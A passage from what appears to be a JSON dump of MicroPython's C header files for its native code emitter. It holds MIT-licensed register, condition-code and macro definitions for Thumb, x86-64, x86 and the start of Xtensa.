asm_thumb_mov_reg_local(as, (reg), (local_num))\n#define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_thumb_mov_reg_reg((as), (reg_dest), (reg_src))\n#define ASM_MOV_LOCAL_ADDR_TO_REG(as, local_num, reg) asm_thumb_mov_reg_local_addr(as, (reg), (local_num))\n\n#define ASM_LSL_REG_REG(as, reg_dest, reg_shift) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_LSL, (reg_dest), (reg_shift))\n#define ASM_ASR_REG_REG(as, reg_dest, reg_shift) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_ASR, (reg_dest), (reg_shift))\n#define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_ORR, (reg_dest), (reg_src))\n#define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_EOR, (reg_dest), (reg_src))\n#define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_AND, (reg_dest), (reg_src))\n#define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_thumb_add_rlo_rlo_rlo((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_thumb_sub_rlo_rlo_rlo((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_MUL, (reg_dest), (reg_src))\n\n#define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_thumb_ldr_rlo_rlo_i5((as), (reg_dest), (reg_base), 0)\n#define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_thumb_ldr_rlo_rlo_i5((as), (reg_dest), (reg_base), (word_offset))\n#define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_thumb_ldrb_rlo_rlo_i5((as), (reg_dest), (reg_base), 0)\n#define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_thumb_ldrh_rlo_rlo_i5((as), (reg_dest), (reg_base), 0)\n#define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_thumb_ldr_rlo_rlo_i5((as), (reg_dest), (reg_base), 0)\n\n#define ASM_STORE_REG_REG(as, reg_src, reg_base) asm_thumb_str_rlo_rlo_i5((as), (reg_src), (reg_base), 0)\n#define ASM_STORE_REG_REG_OFFSET(as, reg_src, reg_base, word_offset) asm_thumb_str_rlo_rlo_i5((as), (reg_src), (reg_base), (word_offset))\n#define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_thumb_strb_rlo_rlo_i5((as), (reg_src), (reg_base), 0)\n#define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_thumb_strh_rlo_rlo_i5((as), (reg_src), (reg_base), 0)\n#define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_thumb_str_rlo_rlo_i5((as), (reg_src), (reg_base), 0)\n\n#endif // GENERIC_ASM_API\n\n#endif // MICROPY_INCLUDED_PY_ASMTHUMB_H\n"
  },
  {
    "path": "micropython/inc/py/asmx64.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_ASMX64_H\n#define MICROPY_INCLUDED_PY_ASMX64_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/asmbase.h\"\n\n// AMD64 calling convention is:\n//  - args pass in: RDI, RSI, RDX, RCX, R08, R09\n//  - return value in RAX\n//  - stack must be aligned on a 16-byte boundary before all calls\n//  - RAX, RCX, RDX, RSI, RDI, R08, R09, R10, R11 are caller-save\n//  - RBX, RBP, R12, R13, R14, R15 are callee-save\n\n// In the functions below, argument order follows x86 docs and generally\n// the destination is the first argument.\n// NOTE: this is a change from the old convention used in this file and\n// some functions still use the old (reverse) convention.\n\n#define ASM_X64_REG_RAX (0)\n#define ASM_X64_REG_RCX (1)\n#define ASM_X64_REG_RDX (2)\n#define ASM_X64_REG_RBX (3)\n#define ASM_X64_REG_RSP (4)\n#define ASM_X64_REG_RBP (5)\n#define ASM_X64_REG_RSI (6)\n#define ASM_X64_REG_RDI (7)\n#define ASM_X64_REG_R08 (8)\n#define ASM_X64_REG_R09 (9)\n#define ASM_X64_REG_R10 (10)\n#define ASM_X64_REG_R11 (11)\n#define ASM_X64_REG_R12 (12)\n#define ASM_X64_REG_R13 (13)\n#define ASM_X64_REG_R14 (14)\n#define ASM_X64_REG_R15 (15)\n\n// condition codes, used for jcc and setcc (despite their j-name!)\n#define ASM_X64_CC_JB  (0x2) // below, unsigned\n#define ASM_X64_CC_JZ  (0x4)\n#define ASM_X64_CC_JE  (0x4)\n#define ASM_X64_CC_JNZ (0x5)\n#define ASM_X64_CC_JNE (0x5)\n#define ASM_X64_CC_JL  (0xc) // less, signed\n#define ASM_X64_CC_JGE (0xd) // greater or equal, signed\n#define ASM_X64_CC_JLE (0xe) // less or equal, signed\n#define ASM_X64_CC_JG  (0xf) // greater, signed\n\ntypedef struct _asm_x64_t {\n    mp_asm_base_t base;\n    int num_locals;\n} asm_x64_t;\n\nstatic inline void asm_x64_end_pass(asm_x64_t *as) {\n    (void)as;\n}\n\nvoid asm_x64_nop(asm_x64_t* as);\nvoid asm_x64_push_r64(asm_x64_t* as, int src_r64);\nvoid asm_x64_pop_r64(asm_x64_t* as, int dest_r64);\nvoid asm_x64_mov_r64_r64(asm_x64_t* as, int dest_r64, int src_r64);\nvoid asm_x64_mov_i64_to_r64(asm_x64_t* as, int64_t src_i64, int dest_r64);\nvoid asm_x64_mov_i64_to_r64_optimised(asm_x64_t *as, int64_t src_i64, int dest_r64);\nvoid asm_x64_mov_i64_to_r64_aligned(asm_x64_t *as, int64_t src_i64, int dest_r64);\nvoid asm_x64_mov_r8_to_mem8(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp);\nvoid asm_x64_mov_r16_to_mem16(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp);\nvoid asm_x64_mov_r32_to_mem32(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp);\nvoid asm_x64_mov_r64_to_mem64(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp);\nvoid asm_x64_mov_mem8_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64);\nvoid asm_x64_mov_mem16_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64);\nvoid asm_x64_mov_mem32_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64);\nvoid asm_x64_mov_mem64_to_r64(asm_x64_t *as, int src_r64, int src_disp, int dest_r64);\nvoid asm_x64_and_r64_r64(asm_x64_t *as, int dest_r64, int src_r64);\nvoid asm_x64_or_r64_r64(asm_x64_t *as, int dest_r64, int src_r64);\nvoid asm_x64_xor_r64_r64(asm_x64_t *as, int dest_r64, int src_r64);\nvoid asm_x64_shl_r64_cl(asm_x64_t* as, int dest_r64);\nvoid asm_x64_sar_r64_cl(asm_x64_t* as, int dest_r64);\nvoid asm_x64_add_r64_r64(asm_x64_t* as, int dest_r64, int src_r64);\nvoid asm_x64_sub_r64_r64(asm_x64_t* as, int dest_r64, int src_r64);\nvoid asm_x64_mul_r64_r64(asm_x64_t* as, int dest_r64, int src_r64);\nvoid asm_x64_cmp_r64_with_r64(asm_x64_t* as, int src_r64_a, int src_r64_b);\nvoid asm_x64_test_r8_with_r8(asm_x64_t* as, int src_r64_a, int src_r64_b);\nvoid asm_x64_setcc_r8(asm_x64_t* as, int jcc_type, int dest_r8);\nvoid asm_x64_jmp_label(asm_x64_t* as, mp_uint_t label);\nvoid asm_x64_jcc_label(asm_x64_t* as, int jcc_type, mp_uint_t label);\nvoid asm_x64_entry(asm_x64_t* as, int num_locals);\nvoid asm_x64_exit(asm_x64_t* as);\nvoid asm_x64_mov_local_to_r64(asm_x64_t* as, int src_local_num, int dest_r64);\nvoid asm_x64_mov_r64_to_local(asm_x64_t* as, int src_r64, int dest_local_num);\nvoid asm_x64_mov_local_addr_to_r64(asm_x64_t* as, int local_num, int dest_r64);\nvoid asm_x64_call_ind(asm_x64_t* as, void* ptr, int temp_r32);\n\n#if GENERIC_ASM_API\n\n// The following macros provide a (mostly) arch-independent API to\n// generate native code, and are used by the native emitter.\n\n#define ASM_WORD_SIZE (8)\n\n#define REG_RET ASM_X64_REG_RAX\n#define REG_ARG_1 ASM_X64_REG_RDI\n#define REG_ARG_2 ASM_X64_REG_RSI\n#define REG_ARG_3 ASM_X64_REG_RDX\n#define REG_ARG_4 ASM_X64_REG_RCX\n#define REG_ARG_5 ASM_X64_REG_R08\n\n// caller-save\n#define REG_TEMP0 ASM_X64_REG_RAX\n#define REG_TEMP1 ASM_X64_REG_RDI\n#define REG_TEMP2 ASM_X64_REG_RSI\n\n// callee-save\n#define REG_LOCAL_1 ASM_X64_REG_RBX\n#define REG_LOCAL_2 ASM_X64_REG_R12\n#define REG_LOCAL_3 ASM_X64_REG_R13\n#define REG_LOCAL_NUM (3)\n\n#define ASM_T               asm_x64_t\n#define ASM_END_PASS        asm_x64_end_pass\n#define ASM_ENTRY           asm_x64_entry\n#define ASM_EXIT            asm_x64_exit\n\n#define ASM_JUMP            asm_x64_jmp_label\n#define ASM_JUMP_IF_REG_ZERO(as, reg, label) \\\n    do { \\\n        asm_x64_test_r8_with_r8(as, reg, reg); \\\n        asm_x64_jcc_label(as, ASM_X64_CC_JZ, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \\\n    do { \\\n        asm_x64_test_r8_with_r8(as, reg, reg); \\\n        asm_x64_jcc_label(as, ASM_X64_CC_JNZ, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \\\n    do { \\\n        asm_x64_cmp_r64_with_r64(as, reg1, reg2); \\\n        asm_x64_jcc_label(as, ASM_X64_CC_JE, label); \\\n    } while (0)\n#define ASM_CALL_IND(as, ptr, idx) asm_x64_call_ind(as, ptr, ASM_X64_REG_RAX)\n\n#define ASM_MOV_REG_TO_LOCAL        asm_x64_mov_r64_to_local\n#define ASM_MOV_IMM_TO_REG          asm_x64_mov_i64_to_r64_optimised\n#define ASM_MOV_ALIGNED_IMM_TO_REG  asm_x64_mov_i64_to_r64_aligned\n#define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \\\n    do { \\\n        asm_x64_mov_i64_to_r64_optimised(as, (imm), (reg_temp)); \\\n        asm_x64_mov_r64_to_local(as, (reg_temp), (local_num)); \\\n    } while (false)\n#define ASM_MOV_LOCAL_TO_REG        asm_x64_mov_local_to_r64\n#define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_x64_mov_r64_r64((as), (reg_dest), (reg_src))\n#define ASM_MOV_LOCAL_ADDR_TO_REG   asm_x64_mov_local_addr_to_r64\n\n#define ASM_LSL_REG(as, reg) asm_x64_shl_r64_cl((as), (reg))\n#define ASM_ASR_REG(as, reg) asm_x64_sar_r64_cl((as), (reg))\n#define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_x64_or_r64_r64((as), (reg_dest), (reg_src))\n#define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_x64_xor_r64_r64((as), (reg_dest), (reg_src))\n#define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_x64_and_r64_r64((as), (reg_dest), (reg_src))\n#define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_x64_add_r64_r64((as), (reg_dest), (reg_src))\n#define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_x64_sub_r64_r64((as), (reg_dest), (reg_src))\n#define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_x64_mul_r64_r64((as), (reg_dest), (reg_src))\n\n#define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem64_to_r64((as), (reg_base), 0, (reg_dest))\n#define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_x64_mov_mem64_to_r64((as), (reg_base), 8 * (word_offset), (reg_dest))\n#define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem8_to_r64zx((as), (reg_base), 0, (reg_dest))\n#define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem16_to_r64zx((as), (reg_base), 0, (reg_dest))\n#define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_x64_mov_mem32_to_r64zx((as), (reg_base), 0, (reg_dest))\n\n#define ASM_STORE_REG_REG(as, reg_src, reg_base) asm_x64_mov_r64_to_mem64((as), (reg_src), (reg_base), 0)\n#define ASM_STORE_REG_REG_OFFSET(as, reg_src, reg_base, word_offset) asm_x64_mov_r64_to_mem64((as), (reg_src), (reg_base), 8 * (word_offset))\n#define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_x64_mov_r8_to_mem8((as), (reg_src), (reg_base), 0)\n#define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_x64_mov_r16_to_mem16((as), (reg_src), (reg_base), 0)\n#define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_x64_mov_r32_to_mem32((as), (reg_src), (reg_base), 0)\n\n#endif // GENERIC_ASM_API\n\n#endif // MICROPY_INCLUDED_PY_ASMX64_H\n"
  },
  {
    "path": "micropython/inc/py/asmx86.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_ASMX86_H\n#define MICROPY_INCLUDED_PY_ASMX86_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/asmbase.h\"\n\n// x86 cdecl calling convention is:\n//  - args passed on the stack in reverse order\n//  - return value in EAX\n//  - caller cleans up the stack after a call\n//  - stack must be aligned to 16-byte boundary before all calls\n//  - EAX, ECX, EDX are caller-save\n//  - EBX, ESI, EDI, EBP, ESP, EIP are callee-save\n\n// In the functions below, argument order follows x86 docs and generally\n// the destination is the first argument.\n// NOTE: this is a change from the old convention used in this file and\n// some functions still use the old (reverse) convention.\n\n#define ASM_X86_REG_EAX (0)\n#define ASM_X86_REG_ECX (1)\n#define ASM_X86_REG_EDX (2)\n#define ASM_X86_REG_EBX (3)\n#define ASM_X86_REG_ESP (4)\n#define ASM_X86_REG_EBP (5)\n#define ASM_X86_REG_ESI (6)\n#define ASM_X86_REG_EDI (7)\n\n// x86 passes values on the stack, but the emitter is register based, so we need\n// to define registers that can temporarily hold the function arguments.  They\n// need to be defined here so that asm_x86_call_ind can push them onto the stack\n// before the call.\n#define ASM_X86_REG_ARG_1 ASM_X86_REG_EAX\n#define ASM_X86_REG_ARG_2 ASM_X86_REG_ECX\n#define ASM_X86_REG_ARG_3 ASM_X86_REG_EDX\n#define ASM_X86_REG_ARG_4 ASM_X86_REG_EBX\n#define ASM_X86_REG_ARG_5 ASM_X86_REG_ESI\n\n// condition codes, used for jcc and setcc (despite their j-name!)\n#define ASM_X86_CC_JB  (0x2) // below, unsigned\n#define ASM_X86_CC_JZ  (0x4)\n#define ASM_X86_CC_JE  (0x4)\n#define ASM_X86_CC_JNZ (0x5)\n#define ASM_X86_CC_JNE (0x5)\n#define ASM_X86_CC_JL  (0xc) // less, signed\n#define ASM_X86_CC_JGE (0xd) // greater or equal, signed\n#define ASM_X86_CC_JLE (0xe) // less or equal, signed\n#define ASM_X86_CC_JG  (0xf) // greater, signed\n\ntypedef struct _asm_x86_t {\n    mp_asm_base_t base;\n    int num_locals;\n} asm_x86_t;\n\nstatic inline void asm_x86_end_pass(asm_x86_t *as) {\n    (void)as;\n}\n\nvoid asm_x86_mov_r32_r32(asm_x86_t* as, int dest_r32, int src_r32);\nvoid asm_x86_mov_i32_to_r32(asm_x86_t *as, int32_t src_i32, int dest_r32);\nvoid asm_x86_mov_i32_to_r32_aligned(asm_x86_t *as, int32_t src_i32, int dest_r32);\nvoid asm_x86_mov_r8_to_mem8(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp);\nvoid asm_x86_mov_r16_to_mem16(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp);\nvoid asm_x86_mov_r32_to_mem32(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp);\nvoid asm_x86_mov_mem8_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32);\nvoid asm_x86_mov_mem16_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32);\nvoid asm_x86_mov_mem32_to_r32(asm_x86_t *as, int src_r32, int src_disp, int dest_r32);\nvoid asm_x86_and_r32_r32(asm_x86_t *as, int dest_r32, int src_r32);\nvoid asm_x86_or_r32_r32(asm_x86_t *as, int dest_r32, int src_r32);\nvoid asm_x86_xor_r32_r32(asm_x86_t *as, int dest_r32, int src_r32);\nvoid asm_x86_shl_r32_cl(asm_x86_t* as, int dest_r32);\nvoid asm_x86_sar_r32_cl(asm_x86_t* as, int dest_r32);\nvoid asm_x86_add_r32_r32(asm_x86_t* as, int dest_r32, int src_r32);\nvoid asm_x86_sub_r32_r32(asm_x86_t* as, int dest_r32, int src_r32);\nvoid asm_x86_mul_r32_r32(asm_x86_t* as, int dest_r32, int src_r32);\nvoid asm_x86_cmp_r32_with_r32(asm_x86_t* as, int src_r32_a, int src_r32_b);\nvoid asm_x86_test_r8_with_r8(asm_x86_t* as, int src_r32_a, int src_r32_b);\nvoid asm_x86_setcc_r8(asm_x86_t* as, mp_uint_t jcc_type, int dest_r8);\nvoid asm_x86_jmp_label(asm_x86_t* as, mp_uint_t label);\nvoid asm_x86_jcc_label(asm_x86_t* as, mp_uint_t jcc_type, mp_uint_t label);\nvoid asm_x86_entry(asm_x86_t* as, mp_uint_t num_locals);\nvoid asm_x86_exit(asm_x86_t* as);\nvoid asm_x86_mov_arg_to_r32(asm_x86_t *as, int src_arg_num, int dest_r32);\nvoid asm_x86_mov_local_to_r32(asm_x86_t* as, int src_local_num, int dest_r32);\nvoid asm_x86_mov_r32_to_local(asm_x86_t* as, int src_r32, int dest_local_num);\nvoid asm_x86_mov_local_addr_to_r32(asm_x86_t* as, int local_num, int dest_r32);\nvoid asm_x86_call_ind(asm_x86_t* as, void* ptr, mp_uint_t n_args, int temp_r32);\n\n#if GENERIC_ASM_API\n\n// The following macros provide a (mostly) arch-independent API to\n// generate native code, and are used by the native emitter.\n\n#define ASM_WORD_SIZE (4)\n\n#define REG_RET ASM_X86_REG_EAX\n#define REG_ARG_1 ASM_X86_REG_ARG_1\n#define REG_ARG_2 ASM_X86_REG_ARG_2\n#define REG_ARG_3 ASM_X86_REG_ARG_3\n#define REG_ARG_4 ASM_X86_REG_ARG_4\n#define REG_ARG_5 ASM_X86_REG_ARG_5\n\n// caller-save, so can be used as temporaries\n#define REG_TEMP0 ASM_X86_REG_EAX\n#define REG_TEMP1 ASM_X86_REG_ECX\n#define REG_TEMP2 ASM_X86_REG_EDX\n\n// callee-save, so can be used as locals\n#define REG_LOCAL_1 ASM_X86_REG_EBX\n#define REG_LOCAL_2 ASM_X86_REG_ESI\n#define REG_LOCAL_3 ASM_X86_REG_EDI\n#define REG_LOCAL_NUM (3)\n\n#define ASM_T               asm_x86_t\n#define ASM_END_PASS        asm_x86_end_pass\n#define ASM_ENTRY           asm_x86_entry\n#define ASM_EXIT            asm_x86_exit\n\n#define ASM_JUMP            asm_x86_jmp_label\n#define ASM_JUMP_IF_REG_ZERO(as, reg, label) \\\n    do { \\\n        asm_x86_test_r8_with_r8(as, reg, reg); \\\n        asm_x86_jcc_label(as, ASM_X86_CC_JZ, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \\\n    do { \\\n        asm_x86_test_r8_with_r8(as, reg, reg); \\\n        asm_x86_jcc_label(as, ASM_X86_CC_JNZ, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \\\n    do { \\\n        asm_x86_cmp_r32_with_r32(as, reg1, reg2); \\\n        asm_x86_jcc_label(as, ASM_X86_CC_JE, label); \\\n    } while (0)\n#define ASM_CALL_IND(as, ptr, idx) asm_x86_call_ind(as, ptr, mp_f_n_args[idx], ASM_X86_REG_EAX)\n\n#define ASM_MOV_REG_TO_LOCAL        asm_x86_mov_r32_to_local\n#define ASM_MOV_IMM_TO_REG          asm_x86_mov_i32_to_r32\n#define ASM_MOV_ALIGNED_IMM_TO_REG  asm_x86_mov_i32_to_r32_aligned\n#define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \\\n    do { \\\n        asm_x86_mov_i32_to_r32(as, (imm), (reg_temp)); \\\n        asm_x86_mov_r32_to_local(as, (reg_temp), (local_num)); \\\n    } while (false)\n#define ASM_MOV_LOCAL_TO_REG        asm_x86_mov_local_to_r32\n#define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_x86_mov_r32_r32((as), (reg_dest), (reg_src))\n#define ASM_MOV_LOCAL_ADDR_TO_REG   asm_x86_mov_local_addr_to_r32\n\n#define ASM_LSL_REG(as, reg) asm_x86_shl_r32_cl((as), (reg))\n#define ASM_ASR_REG(as, reg) asm_x86_sar_r32_cl((as), (reg))\n#define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_x86_or_r32_r32((as), (reg_dest), (reg_src))\n#define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_x86_xor_r32_r32((as), (reg_dest), (reg_src))\n#define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_x86_and_r32_r32((as), (reg_dest), (reg_src))\n#define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_x86_add_r32_r32((as), (reg_dest), (reg_src))\n#define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_x86_sub_r32_r32((as), (reg_dest), (reg_src))\n#define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_x86_mul_r32_r32((as), (reg_dest), (reg_src))\n\n#define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem32_to_r32((as), (reg_base), 0, (reg_dest))\n#define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_x86_mov_mem32_to_r32((as), (reg_base), 4 * (word_offset), (reg_dest))\n#define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem8_to_r32zx((as), (reg_base), 0, (reg_dest))\n#define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem16_to_r32zx((as), (reg_base), 0, (reg_dest))\n#define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_x86_mov_mem32_to_r32((as), (reg_base), 0, (reg_dest))\n\n#define ASM_STORE_REG_REG(as, reg_src, reg_base) asm_x86_mov_r32_to_mem32((as), (reg_src), (reg_base), 0)\n#define ASM_STORE_REG_REG_OFFSET(as, reg_src, reg_base, word_offset) asm_x86_mov_r32_to_mem32((as), (reg_src), (reg_base), 4 * (word_offset))\n#define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_x86_mov_r8_to_mem8((as), (reg_src), (reg_base), 0)\n#define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_x86_mov_r16_to_mem16((as), (reg_src), (reg_base), 0)\n#define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_x86_mov_r32_to_mem32((as), (reg_src), (reg_base), 0)\n\n#endif // GENERIC_ASM_API\n\n#endif // MICROPY_INCLUDED_PY_ASMX86_H\n"
  },
  {
    "path": "micropython/inc/py/asmxtensa.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_ASMXTENSA_H\n#define MICROPY_INCLUDED_PY_ASMXTENSA_H\n\n#include \"py/asmbase.h\"\n\n// calling conventions:\n// up to 6 args in a2-a7\n// return value in a2\n// PC stored in a0\n// stack pointer is a1, stack full descending, is aligned to 16 bytes\n// callee save: a1, a12, a13, a14, a15\n// caller save: a3\n\n#define ASM_XTENSA_REG_A0  (0)\n#define ASM_XTENSA_REG_A1  (1)\n#define ASM_XTENSA_REG_A2  (2)\n#define ASM_XTENSA_REG_A3  (3)\n#define ASM_XTENSA_REG_A4  (4)\n#define ASM_XTENSA_REG_A5  (5)\n#define ASM_XTENSA_REG_A6  (6)\n#define ASM_XTENSA_REG_A7  (7)\n#define ASM_XTENSA_REG_A8  (8)\n#define ASM_XTENSA_REG_A9  (9)\n#define ASM_XTENSA_REG_A10 (10)\n#define ASM_XTENSA_REG_A11 (11)\n#define ASM_XTENSA_REG_A12 (12)\n#define ASM_XTENSA_REG_A13 (13)\n#define ASM_XTENSA_REG_A14 (14)\n#define ASM_XTENSA_REG_A15 (15)\n\n// for bccz\n#define ASM_XTENSA_CCZ_EQ (0)\n#define ASM_XTENSA_CCZ_NE (1)\n\n// for bcc and setcc\n#define ASM_XTENSA_CC_NONE  (0)\n#define ASM_XTENSA_CC_EQ    (1)\n#define ASM_XTENSA_CC_LT    (2)\n#define ASM_XTENSA_CC_LTU   (3)\n#define ASM_XTENSA_CC_ALL   (4)\n#define ASM_XTENSA_CC_BC    (5)\n#define ASM_XTENSA_CC_ANY   (8)\n#define ASM_XTENSA_CC_NE    (9)\n#define ASM_XTENSA_CC_GE    (10)\n#define ASM_XTENSA_CC_GEU   (11)\n#define ASM_XTENSA_CC_NALL  (12)\n#define ASM_XTENSA_CC_BS    (13)\n\n// macros for encoding instructions (little endian versions)\n#define ASM_XTENSA_ENCODE_RRR(op0, op1, op2, r, s, t) \\\n    ((((uint32_t)op2) << 20) | (((uint32_t)op1) << 16) | ((r) << 12) | ((s) << 8) | ((t) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_RRI4(op0, op1, r, s, t, imm4) \\\n    (((imm4) << 20) | ((op1) << 16) | ((r) << 12) | ((s) << 8) | ((t) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_RRI8(op0, r, s, t, imm8) \\\n    ((((uint32_t)imm8) << 16) | ((r) << 12) | ((s) << 8) | ((t) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_RI16(op0, t, imm16) \\\n    (((imm16) << 8) | ((t) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_RSR(op0, op1, op2, rs, t) \\\n    (((op2) << 20) | ((op1) << 16) | ((rs) << 8) | ((t) << 4) | (op0))\n#define ASM_XTENSA_ENCODE_CALL(op0, n, offset) \\\n    (((offset) << 6) | ((n) << 4) | (op0))\n#define 